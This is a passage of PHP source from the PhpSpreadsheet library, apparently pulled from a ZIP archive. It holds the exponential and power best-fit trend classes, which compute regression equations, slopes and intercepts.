goodness of fit for a set of X and Y data values. * * @param float[] $yValues The set of Y-values for this regression * @param float[] $xValues The set of X-values for this regression * @param bool $const */ public function __construct($yValues, $xValues = [], $const = true) { parent::__construct($yValues, $xValues); if (!$this->error) { $this->linearRegression($yValues, $xValues, (bool) $const); } } } PK 3u\�ԓ # Shared/Trend/ExponentialBestFit.phpnu �[��� <?php namespace PhpOffice\PhpSpreadsheet\Shared\Trend; class ExponentialBestFit extends BestFit { /** * Algorithm type to use for best-fit * (Name of this Trend class). * * @var string */ protected $bestFitType = 'exponential'; /** * Return the Y-Value for a specified value of X. * * @param float $xValue X-Value * * @return float Y-Value */ public function getValueOfYForX($xValue) { return $this->getIntersect() * $this->getSlope() ** ($xValue - $this->xOffset); } /** * Return the X-Value for a specified value of Y. * * @param float $yValue Y-Value * * @return float X-Value */ public function getValueOfXForY($yValue) { return log(($yValue + $this->yOffset) / $this->getIntersect()) / log($this->getSlope()); } /** * Return the Equation of the best-fit line. * * @param int $dp Number of places of decimal precision to display * * @return string */ public function getEquation($dp = 0) { $slope = $this->getSlope($dp); $intersect = $this->getIntersect($dp); return 'Y = ' . $intersect . ' * ' . $slope . '^X'; } /** * Return the Slope of the line. * * @param int $dp Number of places of decimal precision to display * * @return float */ public function getSlope($dp = 0) { if ($dp != 0) { return round(exp($this->slope), $dp); } return exp($this->slope); } /** * Return the Value of X where it intersects Y = 0. * * @param int $dp Number of places of decimal precision to display * * @return float */ public function getIntersect($dp = 0) { if ($dp != 0) { return round(exp($this->intersect), $dp); } return exp($this->intersect); } /** * Execute the regression and calculate the goodness of fit for a set of X and Y data values. * * @param float[] $yValues The set of Y-values for this regression * @param float[] $xValues The set of X-values for this regression */ private function exponentialRegression(array $yValues, array $xValues, bool $const): void { $adjustedYValues = array_map( function ($value) { return ($value < 0.0) ? 0 - log(abs($value)) : log($value); }, $yValues ); $this->leastSquareFit($adjustedYValues, $xValues, $const); } /** * Define the regression and calculate the goodness of fit for a set of X and Y data values. * * @param float[] $yValues The set of Y-values for this regression * @param float[] $xValues The set of X-values for this regression * @param bool $const */ public function __construct($yValues, $xValues = [], $const = true) { parent::__construct($yValues, $xValues); if (!$this->error) { $this->exponentialRegression($yValues, $xValues, (bool) $const); } } } PK 3u\�_�z z Shared/Trend/PowerBestFit.phpnu �[��� <?php namespace PhpOffice\PhpSpreadsheet\Shared\Trend; class PowerBestFit extends BestFit { /** * Algorithm type to use for best-fit * (Name of this Trend class). * * @var string */ protected $bestFitType = 'power'; /** * Return the Y-Value for a specified value of X. * * @param float $xValue X-Value * * @return float Y-Value */ public function getValueOfYForX($xValue) { return $this->getIntersect() * ($xValue - $this->xOffset) ** $this->getSlope(); } /** * Return the X-Value for a specified value of Y. * * @param float $yValue Y-Value * * @return float X-Value */ public function getValueOfXForY($yValue) { return (($yValue + $this->yOffset) / $this->getIntersect()) ** (1 / $this->getSlope()); } /** * Return the Equation of the best-fit line. * * @param int $dp Number of places of decimal precision to display * * @return string */ public function getEquation($dp = 0) { $slope = $this->getSlope($dp); $intersect = $this->getIntersect($dp); return 'Y = ' . $intersect . ' * X^' . $slope; } /** * Return the Value of X where it intersects Y = 0. * * @param int $dp Number of places of decimal precision to display * * @return float */ public function getIntersect($dp = 0) { if ($dp != 0) { return round(exp($this->intersect), $dp); } return exp($this->intersect); } /** * Execute the regression and calculate the goodness of fit for a set of X and Y data values. * * @param float[] $yValues The set of Y-values for this regression * @param float[] $xValues The set of X-values for this regression */ private function powerRegression(array $yValues, array $xValues, bool $const): void { $adjustedYValues = array_map( function ($value) { return ($value < 0.0) ? 0 - log(abs($value)) : log($value); }, $yValues ); $adjustedXValues = array_map( function ($value) { return ($value < 0.0) ? 0 - log(abs($value)) : log($value); }, $xValues ); $this->leastSquareFit($adjustedYValues, $adjustedXValues, $const); } /** * Define the regression and calculate the goodness of fit for a set of X and Y data values. * * @param float[] $yValues The set of Y-values for this regression * @param float[] $xValues The set of X-values for this regression * @param bool $const */ public function __construct($yValues, $xValues = [], $const = true) { parent::__construct($yValues, $xValues); if (!$this->error) { $this->powerRegression($yValues, $xValues, (bool) $const); } } } PK 3u\��'Dm m "